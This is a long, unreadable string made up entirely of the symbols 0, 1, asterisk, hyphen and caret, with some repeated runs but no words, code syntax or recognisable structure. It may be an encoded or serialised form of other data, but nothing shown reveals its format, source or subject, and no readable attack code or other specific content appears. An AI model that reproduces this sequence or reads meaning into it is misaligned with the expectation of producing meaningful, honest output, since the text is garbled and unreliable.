*01*1*1*-----110--1*001*0-*^1*1^1*^1101*******0010101^11*001*010^10^1010-11*10101*1*1**01*1^1*11011*01^1*11****011**0-^1*101******01**00^-*001******01***10-*00^-**1**^10-11010^^1101********0--01*00^1*^1*****01**01^11**01*0011*1*1*-----110--*-1*0-*^1*1^1*^1101******01*11*-**01*010^-*010-11*10101*1*1*0^1*00110^1**00--101011**01*1*1*-----110--1*^1*-*^1*1^1*^1101********001010101*00^1*^1********001^11*001*1101*1*1**01*1^1*1101*0-11*010101*0101*1010--0101*^1*-11*-----110--*01101*-*^1*1^1*00101*-11*^1**110^1**00--10101*0-11**01*1*1*-----110--1*0011*-*^1*1^1*10-*-11**01*1^1*0101*0-11*1010--0101*-0^-11*-----110--0^1011*-*^1*1^1*^1101011011*-11*1*^-110110-11**11*1*1*-1*00-0^11***1*01010--010^10-*-11*-----110--^10-*-*^1*1^1*11011**1**110^1**00--1^1*0-11**01*1*1*-----110--^-11*-*^1*1^1*1011*0-11**01*1^1**11*1101*001101*^10-11010^^1101*****00-^1*0011**01*010^1*****01***101011*00^1^1*1*1*-----10---101**-*^1*1^1**110101*1*-11*1*^1*****01**011*11**1*0011*1*1*0^1*00110^1**00---101**01*1*1*-----10--1*011*00-*^1*1^1*^1101*****00-10^11011**001*010^110110^-11*10101*1*1**01*1^1*^1*0-11*0011*0011****011**0-^1*101******1**01*1**001******1**010-**00^-**1**0110--0101*-1*-----10---01101*0-*^1*1^1*0101*0-11*^1**110^1**00--10-1**01*1*1*-----10---01011*0-*^1*1^1*^1101******00-00-^11*00^1^^1********10-011*00^-01*1*1**01*1^1*10-*01^1*11****011**0-^1*101******11**-10-*001******11**11*-*00^-**1**00110-11010^^1101*********^101*00^1*^10-0^-11*01101*1*1*-----10--101*101*-*^1*1^1*01*^-11*^1**110^1**00--^-**01*1*1*-----10--10^1101*-*^1*1^1*10-**01*1^1*00-*1101**0110^1011*-**0110-11010^^1101*****00-10--001**01*010^^1*10-11*10101*1*1*-----10--10-0011*-*^1*1^1**01^-11*^1**110^1**00---011**01*1*1*-----10--10-1011*-*^1*1^1*-00^-11**01*1^1*0-1*1101**0110^1011*-*00-10-11010^1*^1********001*11*001*0101*1*1*-----10--1*-11*-*^1*1^1*01011*-11*^1**110^1**00--110-**01*1*1*--------*1**0-*^1*1^1*^1101*****0010-^1^1101*001*010^1*01^-11*1^1*1*1**01*1^1*01101******001**1*011******11*00110101****************001**001101******001**^1******00101*00-^11********00-01*****001**0^-11*****001**00-001*****0011*00110-******11**^1*******1**01^1******011*001101101******1**1011011*****0011**-*1********0--******11***101******1***-011*****0101*001^-********010101**********1*1******1**1^101*****011**^^11*****0101**101^1*****001**001*1*****001***-01*****00101*001^101*****0011**01^11********0-101******001**^101******01**1101011*****011**0010^1*****01**01^-*****00101*001*^1*****01**01*-*****00101*0011011011*****01***11*1*****001**110-01*****011**1010-1*****01**0-^1*****001**010101101*****01***^1******101*001*0011*****001**1**1********101*11******1*00101*01********10110-********1101011******11*001^1******01***0-******101**********01*001*11******01**1^^1********0^1101*****001**01010-********-01^101*^^1*1*1*0^1*1^1*00101^-11*^11*1^1*001****01**0-010^--*011*1^1*001****01**001**0--0-01*1^1*001****01**0^110^--001101*1^1*001****01*****0--010101*1^1*001*******-1*10--*101*1^1*001*******0-11010--01^1*1^1*001*******010101010--001101*01^1*1**11010^1*1***001***010101*****0-**^^1***001**001^1^1***00--------1010101*0-*10101*1^1*11****001**0-0-*01011******************00-**********11**********11*********00-*********00101*00101*10-*001*1*-*001^1*01011*01010^--------^^1*0-*011*0^1101******-^11*^1*001*010^10^-0-11*^1*0--------01010-*-00^110101*^10-0^-11*101*001*1*1*^10-0^-11*101*001*1*--------^1011*0-*011**-*********-*00^-0010-01*011**11010101**101101010^^101**101**011010-01*011**101****1*****-1011011**11011******011**0011*101**--------0011*1*-*011*0^1101********00-^1*00^1*^1********0110^1*001*01*001*1*--------0010-1*-*0011*--------01^101*-*011*0^1101******--0-11**001*010^1********001*01*00^^1*********01^1*********1**0101*101*01^11*00^11010^11*1*0110101**01*00--------^^11*-*011*010-*0101*001101*********0^101********0^-1********0^1*********0^-1********0^1*********00^101********00^11*********11*1*******************^1*1********0101*0101*1*01**11*0-01*101*001^1*001****01*****0--*1*001^1*001*******0-11010--01011**1*******-1*10--001101*01^1*********1***-001*1***001**0-00101********--11***01***1^1^1***00--------1^101*0-*10101*1^1*11****001**10110-*01011********011********************0-********************0-*********00101*00101*10-*001*1*-*001^1*^11*01010^---------*1*0-001011*01*^1********-00-*001*01*001*1*--------0010-1*-*1101*--------1101101*0-001011*0^1101*****001^10^-011**1*010^1**10-11*101*001*1*********1*1*^-0010-01*011**11010-**101101010^^-*001101*******11**110-1*001*101**011010-01*011**101*********1*10^11011******011**0011*101**--------1011*1*-001011*0^1101******01011*1011011*001*010^1*********10101*00^101*001*1*--------0010-1*-*1011*---------00101*-001011*0^1101********01010^1*00^1*^-110110-11*001*001*1*********1*1*********1**0101*101*01^11*00^11010-10110-11*1*011*1*0011**--------^^11*-001011*011011*0101*001101*********1*11**********101********010-11********01101*1********^1*********0101*1*********00101*********10101*******************1101*1********0101*0101*10^1*01011*0-01*101*001^1*001*******-1*10--*1*001^1*001*******0-11010--001101*01^1*********1***-001*1***001**001^101********110-11**0011***01^1^1******001010^110101******00-01*0101******01**01010101*001******01**10110-*001*01****01**01101*0110-^1**--------0^101*0-*011*01*^1*01010-11*001*001*1*--------10-01*0-*011*011011*--------1^-1*-00^1*0-11*--------1101011*0-*011*00-1*********-*00^-001**00---101*011*00--------110-1*0-*011*0^1101*-00--01********01011*1*00^-110101*^1********1*1011*001*01****01**001**0--01*^1010-00-11*001****01**001**0--0010-00-11*001****01**001**0--001010110-11*1*^1********^10101*00^^1*00101*0-01*--------0010-1*-0010-*--------10101101*-*011*01*^-010^-11*^1*********00101*0^-001**00--101101*011*00--------*^11*-*011*0^1*0-11*0101*001101*********1010-********00-011********0-0101********00101***********001********11*1********0011*1*******************00-011********011*1*********101*0101*1*01**11**011*001*001^1*001****01**0-010^--01011**1****01**001**0--001101*01^1*********1***-001*1*******1^1********001011011***001**001^1^1*01010^110101******011011*00101******01**01*001*001******01**1^-1*001*01****01**01101*0110-^1**--------11*11*0-*011**011*--------0101011*0-*011*00-1*---------00-*-00^1101********010101011*00^1*^1********-10101*00^101*001*1*--------001*01*-*011*0-01*********-*00^-001**00---101*011*00--------0010^1*-*011*0^1101*****001^10-010^1*001*010^1********0-0101*001*01*001*1*0101*0-01*--------0010-1*-0011011*--------*01101*-*011*0^1101*-*-11*1*^1*****01**0-101**0^^1**********001*^-001**00--101101*011*00--------^^11*-*011*001011*0101*001101*********0-11********00-1011*********0101*******************00-11*********001011*********01011********0^1*********01*011********0-1011********00101*0101*1*01**11**-*101*001^1*001****01**0-010^--*1*001^1*001*******-1*10--01011**1****01**001**0--001101*01^1*********1***-001*1***001**010^101*********01011***01***1^1^1*1*******0010101*11**1**01*-*101101**0010-101************1*1**0010101*11***************************************************************101*00101*^101*01*1*0101*01^1**11*01011*0--101^1********0011**10-0110101*00101****1**001011*-10110^101^-*-**01101*11**110101******10-01*0101******1**01^1**001******1**0-011**01*01****01**01101*0110-^1**--------0010-*0-00-*001^1*01011*110101******0-11*00101*********1*011*001*********0101011*001*0011*001****01**01101*0110-^1**110101******0^101*010^-1*0-11*0^1010-11*101**01****01**01101*0110-^1**--------01*101*-00-*001^1*^1101*-110-11*1*^-0-10-11**1*01*1*110101******0^101*0101******11**0011011**1******11***011**01*01**01****01**01101*0110-^1**110101******11*01*0101******01***01011*001******01**0-0-*00^-01*001****01**01101*0110-^1**********^1011*******************^1011*********1101********001*011*******************110-********00-*00101*10-*001*1*-*001^1*11011*--------1*011*0-001011*0^1101*****00-1101^101101*001*010^1********^^11*00^101*001*1*********00101**-00--------0010-1*-00^11*--------**01*-001011*0^1101******-010-01^1*00^1^^1*11010-11*001*001*1*********1*1*^-001**00---101*-*00--------0101^1*-001011**-*1101*0-01*--------01010-*-00^1101******01*001*-**^1^^110110110-11*001*001*1*--------1^1101*-001011*0-01*********-*00^-001**00--101101*-*00--------11*011*-001011*0^1101*****00^1*^-1**0^1^^10^1*-11*001*001*1*1101*001101*********00-01*********-1*********0-1********001^1*********1^11********001*011********01^1*********1^11*******************0^1*0101*10^1*01011*001101*101*001^1*001*******010101010--*1*001^1*001****01**0^110^--*01*01^1*001****01*****0--001101*01^1*********1***-001*1***001***^101*****01***10^1**00101***1^11011*1*******0010101*11**1**00101*^-101***-0011************1*1**********0010101*11***************************************************************101*00101*101101*01*1*1101*01^1*01101*01011*0--101^1********0011**10-0110101*00101****1**001011*-10110^101^-*-**01101*11**110101******1^101*0101******11**00-**001******11**0010101**1*01****01**01101*0110-^1**--------0011011*0-00^1*01^1*00-*110101******0-11*00101******1***1*01*001******1**00^^1*001*0011*001****01**01101*0110-^1**110101******11*01*0101******11**-0011**1******11**^1101**^-01*001****01**01101*0110-^1**--------*00101*-00^1*01^1*^1101*-*1*^1*****01**0^1011**1*11*001*1*110101******0^101*0101******1**00110^1*001******1**0110^11*00^101**01****01**01101*0110-^1**110101******0^101*0101*********001^1*001*********01*11*001*01**01****01**01101*0110-^1**********1*-*********1101********0010-1********001*^1****************************************-*00101*10^1*01*1*^1*01^1**11*---------0101*0-001011*0^1101******110101010^11**1*010^1*****01***00-1*00^-*001*1*********00101**-00--------0010-1*-*0011*--------0110-*0-001011*0^110101*1*-11*1*^1********0^1011*001*01*001*1*********1*1*^-001**00---101*-*00--------*0^1*-001011*001101*1101*0-01*--------01010-*-00^11010^-00-11*1*^1*****01**00-^1*001*11*001*1*--------^10101*-001011*0^1101*****00101^1^1011**0^1^^1*****01**011***00^101*001*1*********00101*^-001**00--101101*-*00--------011*11*-001011*01*^1********-01101*001*01*001*1*1101*001101*********011*1*********001*********10-1*******************010-1*********1^11********01101011********010-1*********11*1********0^1*0101*10^1*01011*011011*-*001^1*001*******010101010--0011*001^1*001****01**001**0--0101*001^1*001****01**0^110^--*1*001^1*001****01*****0--001101*01^1*********1***-001*1***001**011*101*****01**010110101**00101***1^11011****10101*01****01**01101*010-1^11****011**10-101*101**1^-11*0110-0-11*01**0101******0011*01*0101*1*****1101*01^1*********1***-*10-1***--------10101**-00101*001^1*00-*01010^-*00--------^10-*-00^1101*******01*01^1**1*010^101011*-11*011*001*1*---------101*00-00101*001^1*11011010^1*0-11*1*^1********1**1*00^^1*01*1*********0^1*--00^11010^1*0110110^1011**1******0011**11*101*00^1011*******1**0^1**001*011*******-**11*1*001*101**011010-01*011*00--------*0011*0-00101*001^1*0101*0-11*1101*00101*******^-*010^11**01**--------1*-*0-00101*001^1*^1101*-*-11*1*^-00-0-11**1*01*1*1101*001**--------1^-1*-*1101*--------*1*1*-00101*001^1*^110101*^110^^-11*-*001*1*1*^1*0-0-11*-*001*1*********0^1*********1**0101*101*01^11*00^110^^-0-11*1*011*1*00101*00--------11010101*-00101*001^1*^1101*****00-10-*101**01*010^^1*10-11*011*001*1*0101*001101*----------01*-00101*001^1*01011*01^1*11****001**-00-*01011********1011011********010-11*********001101********0-0101********01*1*******************00-*********0110^1*********001101********1*-*********-01********01101*0101*10101*001*1*********1*001*0-00^1*01^1*001****01*****0--*01*01^1*001****01**001**0--0-*001^1*001*******0-11010--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**001*101*****01**01^1****01***1^1^1***00--------010101*00-001011*011011*01010^1********1^11*10-0-*00--------*-*00-001011*01101101011011*1*^1*****01***1011**01*11*001*1*--------0010-1*-00^11*--------0-001*0-001011**011*********-*00^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00--------10^11*0-001011*0^1*0-11*1101*00101****1***1^--011011011******011**0011*101**--------^-1*0-001011*0^1101*-*1*^1********-00101*00^101*001*1*1101**101*--------01010-*-00^1101*********010-*00^1*^^101*-11*001*001*1*--------1101^1*-001011*00101*0-11**********1*********01**0101*101*01^11*00^110^1011010-11*1*011*1*0011**--------00101101*-001011*011011*0101*001101*--------10-101*-001011*010-*01^1*11****001**01^-*01011********^1^1********--********0010^11********00^^1********1011*********0--*********1101*********1*101********00^^1********01*001******************************11*0101*10^1*********011*01*0-*11*001^1*001****01**001**0--0101*001^1*001****01*****0--*1*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001**01*0101********-0-1**0011***01^1^1*--------1^1**-001011*0^1101*****00^10-*-**01*010^1********01^101*001*001*01*1*01010^-*00--------^101*00-001011*001101*---------00-*-00^1101*****001101^^11*1*00^1^^1*****01***01011**^-*001*1*--------11*01*0-001011*0^11*********-*00^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------0101101*0-001011*0^110101^1010-11*1*^--010-11*011*001*1*1101*00101*******1010-*101*1**---------1011*0-001011*00101*0-11*1101*011011*-11*---------00-*-00^1101*******010-0^11*001*010^1*****01***01101**^101*001*1*--------1011*1*-001011*0^1*0-11**********1*********01**0101*101*01^11*00^1101010-*-11*1*011*1*0011**--------01^101*-001011*01*^--*-11*001*001*1*0101*001101*--------1^1101*-001011*0^110101^1^-11*1*^1*****01***10^1*001*01*001*1*01^1*11****001**10^-*01011********************-*********00101********0-01*********1101101*********00-********01101101********011*101********0101^1********-01*********1*0101********00^1*********011*0101*10^1*********0101^1*0-*001*01^1*001*******-1*10--0-*001^1*001****01**0^110^--0011*001^1*001****01*****0--0101*001^1*001*******010101010--*1*001^1*001*******0-11010--001101*01^1*********1***-001*1***001****101*****01***-***0011***01^1^1*********--------1101101*0-*10101*1^1*11****001**00^-*01011****************************************-********************0101*00101*10^1*01*1*^1*01^1*^11*01010^--------0010-1*-*0011*--------1010101*0-001011*01*^11*-0-11*-*001*1*********1101*0010-0010-01*011*-*00--------*1011*0-001011*010-*1101**011010-*00101**-*01101*00101101010^^101**-*00101**011010-01*011**101*******110-0-10110101**01*0011**11011******011**0011*101**--------1101*1*-001011*011011010^1*0-11*1*^1********10^101*001*11*001*1*--------11010-*-00^1101*****00^10-*0-1*001*010^-101*101*001*1*--------11010101*-001011*01*^101101010-11*001*001*1*********1101*********01**0101*101*01^11*00^1101*010^-11*1*011*1**-*0101**-*0--------^^11*-001011**011*0101*001101*********011011********00-*1********00101011********01010101*******************^1101********00-101********0^1*********0011011********0011*001********0101*0101*10^1*01011*011011*-*001^1*001****01**0-010^--0011*001^1*001****01**001**0--0101*001^1*001*******-1*10--*1*001^1*001*******0-11010--001101*01^1*********1***-001*1***001**0-1^1*****01**01*****101***1^1^1******0--------01011**-00101*001^1*^1101*****001*10-0-**00^1^^1*01*-11*^1*01*1*01010^-*00--------1^-1*-*0011*--------001011*00-00101*001^1*^1101*****00101101**0101*00^1^^11*1010-11*^1*01*1*********0^1*--00^11010^1*011011010^11**1**********00-1*00^1011*001101*-11*0011*******1***01011*001*101**011010-01*011*00--------01*11*0-00101*001^1*^1101********00-0-*00^1*^10-1^-11**1*01*1*1101*00101******0010^101*101*1**--------110-1*0-00101*001^1*1101101*011*1*^--*-11*-*001*1*1101**-*--------0^-1*-*101*0-11*--------0^^1*-00101*001^1*0-1**********1*********01**0101*101*01^11*00^110^-1*-11*1*011011**001*00--------11010101*-00101*001^1**11*0101*001101*--------10101101*-00101*001^1*^1101*****001^1*1011***1*010^101011010-11*011*001*1*01^1*11****001**11*-*01011********0^101********00^101********001*01*******************1*0101********01*01*********011*********-1011********001*1********00-1^1********1101011********01101*0101*10101*001*1*********110^1*0-00^1*01^1*001****01**0^110^--*01*01^1*001****01*****0--0-*001^1*001*******0-11010--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**00-^1*****01**00-****001***1^1^1***00-----10--1*0-1*-*01*001^1*^110101*^^-*-11*-*001*1*1*^1*****01**01101^1*00^-*001*1*01010^-*00--------00110-*-00^11010^10^-11*1*^1*10^-11*^1*01*1*--------00101**-*01*001^1*^1101*****00-^101101^1*00^1^^1*01^-11*011*001*1*********0^1*010-0010-01*011**1*0--------0-01*00-*01*001^1*-01*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00--------01*01*0-*01*001^1**11010^11*1*^-110110-11**1*01*1*1101*00101****1***11010-11011011011******011**0011*101**--------00-01*0-*01*001^1*10-*1101*0-01*--------10110-*-00110110^-1*1*^--^-11*-*001*1*--------0^-*0-*01*001^1*^1101*****0010^^101^11*00^1^^1********0110-1*001*11*001*1*********10101*********1**0101*101*01^11*00^1101010-*1*011011**001*00---------0^1*-*01*001^1*^1101*****00101010-0--*001*010^1*****01**001011**00^101*001*1*0101*001101*--------0-0101*-*01*001^1*^1101*****00-1^1011011**01*010^1*****001**011***0^101*001*1*01^1*11****001**01*-*01011********1011011********00^11********001101^1********-*01********-*01********001*11********11*11********011011*********11*11********001*011********1101^1*******************011*0101*1*1*001*1*********0^101*0-00^1*01^1*001*******0-11010--*01*01^1*001****01*****0--0-*001^1*001****01**001**0--0011*001^1*001****01**0^110^--0101*001^1*001*******010101010--001101*01^1*********1***-001*1***001**010-001*****01**0--****1***1^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11***0010101*001*0-----1^-11*1*1*-001101*01^1*1*^1^11*0-*01*1*-----1^--^^1*-001101*01^1*0011*0-11*--------1^-1*-0011011*-----1^-1101*101*-001101*01^1*^11010^1*0-11*1*^1********^1^1*001*-*01*1*********0^1*^-001**00--110101*-11*^1*01*1*-----1^---1101*-001101*01^1*0-0^-11*^1*01^1*-01*--------0^-1*-*-0^-11*-----1^-110^1011*-001101*01^1*0-*0-11*********^1*0^-001**00--101101*^1*01*1*-----1^--0^-*-001101*01^1**01^-11*^1*01^1*1101*0-11*0011*01*******001*0^1011*1*11010-01*^11010-01*011*00--------0^-1*-**1^-11*-----1010-1^1**00-001101*01^1**11*-11*********^1*0^-001**00--10101*0-11*^1*01*1*-----1010-11*11**-001101*01^1*^1101******01^-0010101*001*010^11*0010-11*1011*01*1*^1*01^1*^11*101*001^1*11**--------00110-*-001*^1********1101^1*001*-*01*1*-----1010--0-1*00-001101*01^1*1*^-110110-11**01*1*1*********0011*0^-001**00--1*11*^1*01*1*-----1010--^101*0-001101*01^1*^10^-11*^1*01^1*-1*0-11*-----1010-11*0011*0-001101*01^1*0-1*-11*--------0^-1*-00^10^-11*-----1010-11*0-*0-001101*01^1*1101*0-11*********^1*0^-001**00--10-*0-11*^1*01*1*-----1010-1^1*01*-001101*01^1*1*^1*01010-11*0-*01*1*^1*01^1*00101*-11**1*01^1**11010-01**1*01*1*--------1^-1*-*0-*-----1010-11*00101*-001101*01^1*-01*-11*********^1*0^-001**00---001*-11*^1*01*1*-----1010-1^101101*-001101*01^1*^1101******0-110101101**0^1^^1********01101101*001*011*01*1*^1*01^1*0011*0-11*1011*001101*--------0^-1*-0010101^-11*-----1010-1101101011*-001101*01^1*1*^1********0-0011*001*-*01*1*********-1*0^-0010-00--01********00-0101*001*10110101*^1*^10-11*001****01*****0--01^^10101*0-11*001****01**0^110^--00101*0-11*001****01**0^110^--01**00---01*0-11*^1*01*1*------0---**0-001101*01^1*1*1*-11*^1*01^1*10101*-11*--------0^-1*-00-10^-11*------0--1*1*00-001101*01^1*10-*-11*********^1*0--00^101^-*-1*001*1**1*01*1*--------0^-1*-001*1*-11*------0-110-11*00-001101*01^1*^1101********010-001*00^1*^-010110-11*1*1*1*1*********0^1*^-001**00--^101*-11*^1*01*1*------0--101101*0-001101*01^1*^11*^1*01^1*0-*0-11**1*01^1*01101*--------1^-1*-00^11*------0-11*0-*0-001101*01^1*0-1**********1*0^-001**00--11011*0-11*^1*01*1*------0--1*001*-001101*01^1*11*^-11*^1*01^1*0^1*-11*------0-11*0^1*-001101*01^1**11*110101******011**00101******01**001*11*001******01**0-0011*00^^101^-*^1*001*1*^1**01*001101*001*001*1*--------01^-*-00^1101*****00101101010-***1*010^1*****01**0^11011*00^-1*01*1*------0--1*011*-001101*01^1*^1101******-*10^-1*001*010^1101^10-11*1011*01*1*********0^1*^-001**00--11*1*-11*^1*01*1*------0-11*00-*-001101*01^1*10^^-11*^1*01^1*0101*0-11*--------0^-1*-0011011*-11*------0-1^10-1*-001101*01^1*^1101******101010-01***1*010^^10-0-11*1011*01*1*********0^1*--00^101^-*1101*001*1*011*001*1*--------^10-*-00^1101*****00101*00^10101*001*010^11*-0-11*1011*01*1*-----^--1*01*00-001101*01^1*^1101*********011011*00^1*^1********-10101*001*-*01*1*********10101*^-001**00--1^1*0-11*^1*01*1*-----^--1*001*0-001101*01^1*1*^1********1010^1*00^1*1*1*1*^1*01^1*01011*011*001^1*01101*--------01^-*-00^1101******1*00-0-01*00^1^^1*****01**0^10101*001*011*01*1*-----^--^1011*0-001101*01^1*^1101******101***1**01*010^-011*1011*01*1*********1*1*^-001**00--1^11*^1*01*1*-----^--001*01*-001101*01^1*^1101*****0010-^^1*1*001*010^1*01^-11*-1*01*1*^1*01^1*^1*0-11*011*001^1**11010-01*011*001*1*--------01^-*-00^1101******1**00^101*001*010^1*****01**0-10101*00^-1*01*1*-----^--1^1101*-001101*01^1*^1101*******011*0-11*00^1^^110-^-11*0011*01*1*********0^1*^-001**00--10-1*^1*01*1*-----^---^11*-001101*01^1*^1101*****00-1*^^11**^1^^1*****01****01**1*011*01*1*^1*01^1**11*0101*001101*--------0^-1*-001*0^-11*-----^--*0-1*-001101*01^1*00101*-11*********^1*0^-001**00---101*^1*01*1*-----110--11***-001101*01^1*^1101*****00110-10^^1**1*010^1*****01**010-11**^-1*01*1*^1*01^1*00-*1101*00101^1011*001*1*101*001*1*--------01^-*-00^1101******^1*01^1**01*010^1*****01**0101101**0^-1*01*1*-----110--001011*00-001101*01^1*^1101******01**0-01**^1^^110110110-11*0011*01*1*********0^1*^-001**00---011*^1*01*1*-----110--*0101*0-001101*01^1*^1101******110-0-0011**1*010^1*****001***0101**^-1*01*1*^1*01^1**01*-11*001*001^1*0101^1*1*01*1*-*001*1*--------^10-*-00^1101*****00-1*10-***1*010^1101^10-11*1011*01*1*-----110--**01*-001101*01^1*-10^-11*********^1*0^-001**00---11*0-11*^1*01*1*-----110--0010^1*-001101*01^1**-00-11*^1*01^1*0-1*0101**011010^101^-*-1**11*00--------^10-*-*00110^-0^-11*1*^1*****01**0^1011**1**1*1*1*-----110--01101101*-001101*01^1*^1101******01^-1010-*001*010^1^11*1011*01*1*********1*1*^-001**00--110-*^1*01*1*-----110--1*1011*-001101*01^1*01101^-11*^1*01^1*1011*0-11*-*001^1*11**--------01^-*-00^1101******1^10-11*1*001*010^1*****001**0-001**^-1*01*1*-----110--0010-1*-001101*01^1*1011*0-11*********^1*0^-001**00--^11*0-11*^1*01*1*-----10--1*1**0-001101*01^1*00^^-11*^1*01^1*10-*--------0^-1*-00-11*-11*-----10---011**-001101*01^1*^1101******-11011*001**^1^^1*****01**00101101**1*011*01*1*********10101*^-00-*00--------0^-1*-*0^^-11*-----10--110-1*00-001101*01^1*1*1^-11*********^1*0^-001**00--^-*^1*01*1*-----10--1*0101*0-001101*01^1*1^1^-11*^1*01^1*1*1*-11*--------0^-1*-00-01*-11*-----10--^^11*0-001101*01^1*01*^-11*********^1*0^-*01*001*1*--------0^-1*-001^1^-11*-----10---0-1*0-001101*01^1*10101*-11*********^1*0^-001**00--1*01*-11*^1*01*1*-----10---11*1*-001101*01^1*^1101********010-001*00^1*^10-*0-11*0-*01*1*^1*01^1*1^1*-11*1011**011010^101^-*^1*001*1*^1*0--------0^-1*-**0^-11*-----10---001101*-001101*01^1*00101^-11*********^1*0^-001**00--10^1*-11*^1*01*1*-----10---1*11*-001101*01^1*-01^-11*^1*01^1*11011*-----10---001011*-001101*01^1*-01*--------^10-*-00^1101*****00-010101*1011*001*010^--*-11*1011*01*1*-----10---010-*-001101*01^1*^1101******0110-101***0^1^^1*****01***0-1**1*011*01*1*********10101*^-001**00--101011*^1*01*1*--------0101**0-001101*01^1*11011*^1*01^1*01101******01**01**1********0-001*****001***1*1******01*001*011********0^1011********0101*11******************00-11011*****0101***11******1**010^101*****0101**110101*****001**0-1011******1**1*^1********1101*******01*0010^-******1**1*011******1**11*1*****001***1*1*****0011**10^11*****0011**101011******1**01011******0011**0^^1*********-01*****001**011*1********0011*01*****001**1010-*****0011**0-1011*****011**^-11******1**11*1*****001***10-1*****001**0^1*********010-******101**0011*******1*00110-1******1**00101011********1*0101*****001**001101*********1*01******01*0010101101******1**11*******001*0010--*****0101*00^-1*****00101**10^1*****001***1011******101*001011*1******1**0110101*****01**0101*11*****011***101******11**11010101*****0101**10^1******01*001*^1*****0101**1*001*****01**01*******0011**010-01*****011**101*01*****011**001*******01**--01********^-00101*101101*01*1*1101*01^1*0^1^-11*1*1*1^1*001****01*****0--*001*1^1*001****01**001**0--0-1*01^1*001*******010101010--00-*01^1*001****01**0-010^--01011*01^1*001*******-1*10--*11*01^1*001****01**0^110^--001101*01^1*********1***-001*1***001***-001*****0011*00-10101***001**001^1^1****10101*001*0-----^--*00-*-00101*001^1*11011*-11*-----^--^10-*-00101*001^1*^1101*********-001*00^1*^1********1011*1*001*11*001*1*--------0^-1*-00^1*0-11*-----110--101**00-00101*001^1*^1101*****00-11*1011011**1*010^11*1^-11*^1*01*1*********0^1*^-*0-00--01*1*10-11*1*01101*^1********10110-*001*01****01**001**0--01*^1*****01**00-101**1*01****01**001**0--*****001**00-101**1*01****01**001**0--01**00--1^1*0-11*^1*0-----110--011*1*0-00101*001^1*^11*1011*0-01*--------1^-1*-00^11*-----110--0110101*0-00101*001^1*^1101*****001^10--11**01*010^1010-10-11*^1*01*1*********0^1*^-001**00--101101*^1*0-----110--1*-*0-00101*001^1*^110101*-0-11*1*^1********0011*1*001*11*001*1*1011*011011*010-^101****1**0--001^-0011****011**0011*1*101*^11*1*110101^1^11*1*001********************1*001*01*1101*--------00110-*-001*^1********1010^1*001*101*01*1*-----110--00110101*-00101*001^1*-01*-11*********^1*0^-001**00--101011*^1*0-----110--0-1101*-00101*001^1*00-*-11*1011*001011*--------0^-1*-*0011*-11*-----110--*01011*-00101*001^1*11011**********1*0^-00-*00--------0^-1*-*0-*-11*-----110--10^-*-00101*001^1*01101**********1*0^-001**00--1^11*^1*0-----110--0110-1*-00101*001^1*^110^1^^-11*1*^1********110-01*001*101*01*1*1011*0^1*0-11*010-^101****1**0--001^-0011****011**0011*1*101*^11*1*110101^-001*1*001*******************01**01*0^11011*--------0^-1*-*^1*-11*-----10--^1101*00-00101*001^1**11**********1*0^-001**00--10-1*^1*0-----10--110-1*00-00101*001^1*^110101*^^110^-11*011*001*1*1*^1^11010-11*011*001*1*1011**-*0011*01*******001*0^1011*1011*00--------0^-1*-*-*0-11*-----10----01*0-00101*001^1*^1101*****00101^11****01*010^1^11*^1*01*1*********1*1*^-001**00---011*^1*0-----10--1^-1*0-00101*001^1*1011*0-11*1011*010-*-----10--^1*01*-00101*001^1*^1101******10-00-011**01*010^1********101*01*001*001*01*1*1101*0011****011**00101**101*1101****^1*^101^-*1*1**01**1*0011**--------01^-*-00^1101*****001101011010110-*001*010^1********11*011*001*001*01*1*-----10---0-01*-00101*001^1*1^1*-11*********^1*0^-001**00--^-*^1*0-----10--1101^11*-00101*001^1*1*^1********1101^1*001*11*001*1*1011**011*0101*001101*--------^10-*-00^1101******--010-001*00^1^^101011*-11*-*001*1*-----10--1*0-1*-00101*001^1*00101*-11*********^1*0^-001**00---101*^1*0--------01***-00101*001^1*01011*-11*1011*00-1*--------0^-1*-*101*0-11*--------00101**-00101*001^1*^1101******1011*10101101*00^1^^-001^-11*-*001*1*********0^1*^-00-*00--------0^-1*-*1011*-11*--------1^11*00-00101*001^1*1*1*-11*********^1*0^-001**00--110-*^1*0--------101*1*0-00101*001^1*01011*1011*0^11*1101*0011****011**00101**101*1101****^1*01101*00101*001*0011**--------10110-*-00^110^-1010-11*1*^110-*011*001*1*--------*1011*0-00101*001^1*1101*0-11*********^1*0^-001**00--1*11*^1*0--------010-1*0-00101*001^1*^1*0-11*1011*001101******01**0-*11********1101*********011*001*****001**-*01*****01**0101101******1**001^-*****001**00101*********1101*********010^101********10-011*****01**0-1*1********^1101*********0-01*****01**01*******001***0^1*****001***11*******1**101011********00^101******01**10^101*****001**00-001**********1******1**00-001*********-1*****001***-101**********1******1**--******1****11****************01**0-00101********10-*101*10101*001*1*101*001^1*-01*0101*01^1*001****01*****0--0^1*01^1*001*******-1*10--*01*01^1*001*******010101010--0-*001^1*001****01**0^110^--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001**01101^1*****011**-^1***-***1^1^1******0010101*001*0-----^--*^11*-*001*01^1*^110^10^10-11*1*^1********0-^1*00^1101*01*1*-----^--01011011*-*001*01^1*^1101*101*-11*1*^1********0-^1*00^-1*01*1*--------0^-1*-001^1*-11*-----^--1^-1*-*001*01^1*-01*-11*********^1*0^-001**00--10-1*011*001*1*-----110--011**00-*001*01^1*^1101*****001*101*-001*001*010^1*****01**0110-1**1*-*01*1*011*001^1*-01*--------1^-1*-*0-*-----110--00^1*00-*001*01^1**01*-11*********^1*0^-001**00--101101*011*001*1*-----110---011*00-*001*01^1*^1101*****0010^101010-11*001*010^10-1*^1*01*1*011*001^1*0-1*010-^101****1**0--001^-0011****011**0011*1*101*^11*1*110101^110101*1*001*******************0011*001*01*0-*--------^10-*-00^1101*****00110-01010-**01*010^1^-00-11*^1*01*1*-----110--1010-*0-*001*01^1*^1101******101101****00^1^^1********10^101*001*011*01*1*********10101*^-001**00--110-*011*001*1*-----110--0010^1*-*001*01^1*^1*0-11*011*001^1*11011*-----110--*00101*-*001*01^1*00101*-11*1011*0011****001***00-*10^101*001*1*01*10^1*00^11*101*001*1*01*101011****01***001101*101********001^1011*001********00^11011*00^^101^-*^1**0011*101*001*1*01*101011****01***001101*101******11**110-**01******11**1*11**0^-